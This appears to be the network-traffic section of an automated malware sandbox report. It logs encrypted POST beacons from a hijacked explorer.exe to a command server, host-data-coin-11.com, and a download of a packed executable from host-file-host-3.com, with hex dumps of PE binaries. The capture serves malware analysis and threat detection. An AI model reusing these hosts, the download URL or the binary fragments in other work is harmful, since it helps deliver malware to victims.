00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 c2 03 00 36 c2 03 00 4a c2 03 00 5e c2 03 00 6c c2 03 00 80 c2 03 00 96 c2 03 00 b4 c2 03 00 ca c2 03 00 da c2 03 00 ec c2 03 00 0c c3 03 00 22 c3 03 00 34 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$OW.9P.9P.9Ph`P.9PXP.9PXP.9PXPy.9PVP.9P.8P.9PXP.9PXP.9PXP.9PRich.9PPEL_@@@n(@08@l.text> `.data@@.rsrc@B@@.reloc;<@B(6J^l"4
Dec 1, 2021 10:04:47.984033108 CET	4261	IN	Data Raw: c3 03 00 4a c3 03 00 58 c3 03 00 70 c3 03 00 7e c3 03 00 90 c3 03 00 a0 c3 03 00 b2 c3 03 00 c0 c3 03 00 d4 c3 03 00 f0 c3 03 00 0e c4 03 00 20 c4 03 00 2e c4 03 00 46 c4 03 00 5a c4 03 00 78 c4 03 00 90 c4 03 00 b2 c4 03 00 c4 c4 03 00 d2 c4 03 Data Ascii: JXp~ .FZx",FP`r$6Xf0D^v
Dec 1, 2021 10:04:47.984059095 CET	4262	IN	Data Raw: 00 26 00 26 00 20 00 21 00 5f 00 74 00 6d 00 5f 00 75 00 6e 00 69 00 63 00 6f 00 64 00 65 00 5f 00 73 00 61 00 66 00 65 00 28 00 66 00 6e 00 29 00 29 00 29 00 29 00 00 00 70 00 75 00 74 00 73 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 Data Ascii: && !_tm_unicode_safe(fn))))putsf:\dd\vctools\crt_bld\self_x86\crt\src\puts.c(string != NULL)CorExitProcessmscoree.dllf
Dec 1, 2021 10:04:47.984085083 CET	4264	IN	Data Raw: 00 0a 00 00 00 00 00 52 00 36 00 30 00 33 00 30 00 0d 00 0a 00 2d 00 20 00 43 00 52 00 54 00 20 00 6e 00 6f 00 74 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 65 00 64 00 0d 00 0a 00 00 00 00 00 52 00 36 00 30 00 32 00 38 00 0d Data Ascii: R6030- CRT not initializedR6028- unable to initialize heapR6027- not enough space for lowio initializa
Dec 1, 2021 10:04:47.984110117 CET	4265	IN	Data Raw: 00 b0 1b 40 00 1b 00 00 00 40 1b 40 00 1c 00 00 00 f0 1a 40 00 1e 00 00 00 b0 1a 40 00 1f 00 00 00 e8 19 40 00 20 00 00 00 80 19 40 00 21 00 00 00 90 17 40 00 78 00 00 00 6c 17 40 00 79 00 00 00 50 17 40 00 7a 00 00 00 34 17 40 00 fc 00 00 00 2c Data Ascii: @@@@@@ @!@xl@yP@z4@,@@Microsoft Visual C++ Runtime Librarywcscat_s(outmsg, (sizeof(outmsg) /
Dec 1, 2021 10:04:47.984136105 CET	4267	IN	Data Raw: 00 69 00 73 00 75 00 61 00 6c 00 20 00 43 00 2b 00 2b 00 20 00 44 00 65 00 62 00 75 00 67 00 20 00 4c 00 69 00 62 00 72 00 61 00 72 00 79 00 00 00 00 00 5f 00 43 00 72 00 74 00 44 00 62 00 67 00 52 00 65 00 70 00 6f 00 72 00 74 00 3a 00 20 00 53 Data Ascii: isual C++ Debug Library_CrtDbgReport: String too long or IO Errorwcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String
Dec 1, 2021 10:04:47.984159946 CET	4268	IN	Data Raw: 63 72 74 5c 73 72 63 5c 69 6e 70 75 74 2e 63 00 00 6e 00 46 00 6c 00 6f 00 61 00 74 00 53 00 74 00 72 00 55 00 73 00 65 00 64 00 3c 00 3d 00 28 00 2a 00 70 00 6e 00 46 00 6c 00 6f 00 61 00 74 00 53 00 74 00 72 00 53 00 7a 00 29 00 00 00 00 00 28 Data Ascii: crt\src\input.cnFloatStrUsed<=(pnFloatStrSz)("Invalid Input Format",0)_input_s_lClientIgnoreCRTNormalFree+@+@+@+@@Error: memory allocation:
Dec 1, 2021 10:04:47.984183073 CET	4269	IN	Data Raw: 00 55 00 73 00 65 00 72 00 44 00 61 00 74 00 61 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 5f 00 70 00 46 00 69 00 72 00 73 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 20 00 3d 00 3d 00 20 00 70 00 48 00 65 00 61 00 64 00 00 00 5f 00 70 Data Ascii: UserData != NULL_pFirstBlock == pHead_pLastBlock == pHeadpHead->nBlockUse == nBlockUsepHead->nLine == IGNORE_LINE &&
Dec 1, 2021 10:04:47.984201908 CET	4271	IN	Data Raw: 63 61 74 69 6f 6e 20 77 72 6f 74 65 20 74 6f 20 61 20 68 65 61 70 20 62 75 66 66 65 72 20 74 68 61 74 20 77 61 73 20 66 72 65 65 64 2e 0a 00 00 00 00 00 00 00 48 45 41 50 20 43 4f 52 52 55 50 54 49 4f 4e 20 44 45 54 45 43 54 45 44 3a 20 6f 6e 20 Data Ascii: cation wrote to a heap buffer that was freed.HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).DAMAGED_heapchk fails with un
Dec 1, 2021 10:04:47.984226942 CET	4272	IN	Data Raw: 74 5c 73 72 63 5c 74 69 64 74 61 62 6c 65 2e 63 00 00 00 46 6c 73 46 72 65 65 00 46 6c 73 53 65 74 56 61 6c 75 65 00 46 6c 73 47 65 74 56 61 6c 75 65 00 46 6c 73 41 6c 6c 6f 63 00 00 00 00 4b 00 45 00 52 00 4e 00 45 00 4c 00 33 00 32 00 2e 00 44 Data Ascii: t\src\tidtable.cFlsFreeFlsSetValueFlsGetValueFlsAllocKERNEL32.DLLf:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.cf:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c
Dec 1, 2021 10:04:48.042479038 CET	4274	IN	Data Raw: 00 6e 00 76 00 70 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 Data Ascii: nvpf:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.cf:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.cf:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.cf:\dd\vctools\crt_bld\self_x86

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49820	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:51.255196095 CET	7116	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bfwtp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 110 Host: host-data-coin-11.com
Dec 1, 2021 10:04:51.255235910 CET	7116	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 8b 66 5d 02 c9 a1 c1 64 52 9b cd 20 Data Ascii: o:@ACFkUwmDu$f]dR +osLO({2s[KU
Dec 1, 2021 10:04:51.352677107 CET	7117	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49821	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:51.548367023 CET	7117	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pubplnqymd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 368 Host: host-data-coin-11.com
Dec 1, 2021 10:04:51.548394918 CET	7118	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 88 66 5d 02 c8 a1 c1 64 3a d4 ab 77 Data Ascii: o:@ACFkUwmDu$f]d:w%Mc8qK>HWTFCkg0E'EI;F]*iNwAGgO!vn_DJ0\|<rwuEU}$$3E5mgsJWy?)ANpikG!
Dec 1, 2021 10:04:51.650799990 CET	7118	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49822	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:51.870958090 CET	7119	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xwkfccuhh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 126 Host: host-data-coin-11.com
Dec 1, 2021 10:04:51.871000051 CET	7119	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 89 66 5d 02 c8 a1 c1 64 1a bd af 6c Data Ascii: o:@ACFkUwmDu$f]dl){[Ym1\|7+d`cAf~"w
Dec 1, 2021 10:04:51.972790003 CET	7119	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49823	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:52.724018097 CET	7121	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vndygv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 292 Host: host-data-coin-11.com
Dec 1, 2021 10:04:52.724059105 CET	7121	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 86 66 5d 02 c8 a1 c1 64 5d cb c5 1b Data Ascii: o:@ACFkUwmDu$f]d]'wt-@_S1<V#\jY$656;/'\I+wl+,-^.2=ue$y+}USF";Ns9AKZ4\|^&N~6V`[jJ?qX&
Dec 1, 2021 10:04:52.821063995 CET	7122	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49824	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:53.195681095 CET	7123	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wyjxomh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 113 Host: host-data-coin-11.com
Dec 1, 2021 10:04:53.195736885 CET	7123	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 87 66 5d 02 c8 a1 c1 64 5d 85 9c 13 Data Ascii: o:@ACFkUwmDu$f]d]_`?H\jHzEGn2V
Dec 1, 2021 10:04:53.298787117 CET	7123	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49825	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:53.405021906 CET	7124	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mdthdprqu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 212 Host: host-data-coin-11.com
Dec 1, 2021 10:04:53.405052900 CET	7124	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 84 66 5d 02 c8 a1 c1 64 27 80 d8 2a Data Ascii: o:@ACFkUwmDu$f]d'*:~Yo<oX_q4/<\I]WCwX(</TNbV:963gC9}4``1zE0fV#j=\|?-kY
Dec 1, 2021 10:04:53.504515886 CET	7125	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 4a ed ac 8e 70 bc 57 da 4a d6 f7 22 81 20 ea c3 96 53 28 ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9JpWJ" S(c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49826	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:53.624286890 CET	7125	OUT	GET /files/4152_1638095425_4339.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-file-host-3.com
Dec 1, 2021 10:04:53.709692955 CET	7127	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:53 GMT Content-Type: application/x-msdos-program Content-Length: 2740224 Connection: close Last-Modified: Sun, 28 Nov 2021 10:30:25 GMT ETag: "29d000-5d1d6cff91027" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 f6 17 4c 43 97 79 1f 43 97 79 1f 43 97 79 1f 57 fc 7a 1e 48 97 79 1f 57 fc 7c 1e e5 97 79 1f 57 fc 7d 1e 51 97 79 1f 57 fc 7e 1e 42 97 79 1f 11 e2 7d 1e 52 97 79 1f 11 e2 7a 1e 56 97 79 1f 11 e2 7c 1e 69 97 79 1f 57 fc 78 1e 50 97 79 1f 43 97 78 1f d0 97 79 1f f6 e2 70 1e 44 97 79 1f f6 e2 86 1f 42 97 79 1f f6 e2 7b 1e 42 97 79 1f 52 69 63 68 43 97 79 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 77 37 a3 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 40 03 00 00 1c 01 00 00 00 00 00 10 52 46 00 00 10 00 00 00 50 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 6e 00 00 04 00 00 e5 b2 2a 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fb 90 04 00 f8 00 00 00 00 a0 04 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 ed 3e 03 00 00 10 00 00 00 90 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 04 da 00 00 00 50 03 00 00 50 00 00 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 24 18 00 00 00 30 04 00 00 04 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 e0 01 00 00 00 50 04 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 1c 22 00 00 00 60 04 00 00 1e 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 10 00 00 00 90 04 00 00 02 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 10 00 00 00 a0 04 00 00 02 00 00 00 0a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 61 00 a0 41 00 00 b0 04 00 00 00 00 00 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 c4 27 00 00 50 46 00 00 c4 27 00 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 ba 2f 43 31 f0 0e da 6b c3 5c d3 df d8 e3 d4 d7 fc df d0 d2 2d ff 55 bb b4 b8 d8 4e c5 e8 dd 16 c7 8b 8c fd bf 73 ca f0 88 d3 1a b7 d2 75 95 ff 93 19 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$LCyCyCyWzHyW\|yW}QyW~By}RyzVy\|iyWxPyCxypDyBy{ByRichCyPELw7a@RFP@ n*@ > ` PP@@ $0@ P@@ "`@B.idata@.rsrc@@.themidaA`.boot'PF'``w/C1k\-UNsu
Dec 1, 2021 10:04:53.709722042 CET	7128	IN	Data Raw: 33 10 ca 5a 03 45 ef b6 11 33 1c f5 2b ba 78 ab d4 7a e9 57 c7 40 bc 38 fd 98 9c fe dc 69 b6 7d e0 04 af f5 93 e2 b3 36 db 0f fd 64 23 e7 a4 b6 e4 df 8b 03 f4 86 3c fb c7 66 8f ab a3 39 df 42 93 4c 37 df 56 db b6 ea d2 6c c0 92 06 01 b8 ff d8 ff Data Ascii: 3ZE3+xzW@8i}6d#<f9BL7Vl&0b\|lm~TMM7`=B%77unsv^Ab@BX73N{5yG\M?Q`86}`mXFdNV_\|9[_
Dec 1, 2021 10:04:53.709733963 CET	7129	IN	Data Raw: 80 7e af 1e 84 af 98 ed c5 52 db a8 38 33 d9 d3 2d e3 e5 e3 db 62 72 59 9f 0a ab 5b 24 15 57 20 b2 37 17 0e 9f 4b 6c af 4a 65 87 3f ed fe 55 34 b8 3a 5f 11 b4 43 f1 fc 4d 09 14 ef 3c 47 b9 79 16 bc b9 4e 74 0f 6f 9b 11 fe ca e7 c2 f8 f3 0e b4 07 Data Ascii: ~R83-brY[$W 7KlJe?U4:_CM<GyNtoE/B~AgH]WG_s\[#njt $L$y1[:Ipi1\|/;Gm<z}%sPst1gaK!y* >=Cg9a
Dec 1, 2021 10:04:53.709747076 CET	7131	IN	Data Raw: 72 25 32 34 3e 3a 14 4a 8d ef f6 91 d5 7b 7b fa 2e 7e b0 02 0e f0 43 96 1b 4d f3 b1 66 29 8e 3a 18 9a bc ce 90 c5 c4 7e 2c 7c 3c b4 5b 67 bc d8 f4 3d 0e 5f 2c 28 9c 06 c9 ae 94 1d 73 fc bf f5 bf 7a 28 07 5c 57 e6 35 46 74 27 f5 27 69 05 7e 0e 4e Data Ascii: r%24>:J{{.~CMf):~,\|<[g=_,(sz(\W5Ft''i~Ngz-Ye4B7][%L6C7$&,`/xvP1[JdtytK4i\|rLzStdAu2u?'NVg"#[{MoVc,-UtX3V2h
Dec 1, 2021 10:04:53.709763050 CET	7132	IN	Data Raw: b4 f4 ea 65 fb 80 15 97 cf a6 e4 af 74 97 b7 83 d6 b6 8d f8 dd 12 65 45 b1 ab bf 7a 08 0c b1 5d 4d 7a 29 72 b5 f4 de 63 5b 62 18 42 27 f6 f6 35 90 9d 5b 83 a9 5e ff 60 f0 fa 5a 82 e1 55 d7 04 e9 f5 de 42 bb 76 e4 04 37 1c f0 07 e5 83 df 5f 0e dd Data Ascii: eteEz]Mz)rc[bB'5[^`ZUBv7__y"5eQqAD?oxZG'mM_%eiW0dYDuLi)^gJW\|uB@pHz \|q]8<[
Dec 1, 2021 10:04:53.709780931 CET	7133	IN	Data Raw: 90 ac ae 46 b2 39 c6 c5 1a 2e 38 d5 47 34 b0 a2 db f5 f6 b7 63 df 2b 82 9a e3 b4 57 69 18 f5 72 50 38 38 67 39 db 98 0b 66 0d b5 7d c7 20 b6 f7 3a c3 4a a3 a1 92 bd af 0e fb 75 eb a7 42 39 5d c1 59 61 e5 e7 a7 59 6f c7 f2 ae 0a 94 19 98 fe 56 d2 Data Ascii: F9.8G4c+WirP88g9f} :JuB9]YaYoV+(UYO4{ARFA[\tT=${\uI'=w/R`aV?hK`!Rc_@[7{tJ3c>^@5f\6sv$0F]`,BCE
